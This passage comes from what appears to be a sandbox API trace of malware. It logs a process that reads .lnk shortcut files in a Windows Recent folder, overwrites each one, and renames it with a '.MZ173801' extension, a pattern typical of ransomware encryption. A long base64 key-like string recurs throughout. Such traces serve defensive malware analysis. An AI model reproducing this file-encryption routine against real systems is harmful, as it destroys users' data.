lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd967040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd1ba40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd1ba40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Roaming.lnk", cAlternateFileName="")) returned 1 [0122.007] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.007] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd967040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd1ba40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd1ba40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x303)) returned 1 [0122.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.010] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.010] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.010] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x303 [0122.010] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.010] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x303, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x303, lpOverlapped=0x0) returned 1 [0122.011] CloseHandle (hObject=0x288) returned 1 [0122.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.013] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x303, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x303, lpOverlapped=0x0) returned 1 [0122.014] CloseHandle (hObject=0x288) returned 1 [0122.027] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk.mz173801")) returned 1 [0122.028] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf23f5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf23f5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf23f5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="rz0vcqroRT.lnk", cAlternateFileName="RZ0VCQ~1.LNK")) returned 1 [0122.028] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.028] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.028] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz0vcqroRT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz0vcqrort.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf23f5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf23f5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf23f5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2)) returned 1 [0122.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz0vcqroRT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz0vcqrort.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.031] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.031] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.031] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3f2 [0122.031] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.031] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3f2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3f2, lpOverlapped=0x0) returned 1 [0122.032] CloseHandle (hObject=0x288) returned 1 [0122.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz0vcqroRT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz0vcqrort.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.034] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3f2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3f2, lpOverlapped=0x0) returned 1 [0122.035] CloseHandle (hObject=0x288) returned 1 [0122.041] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz0vcqroRT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz0vcqrort.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 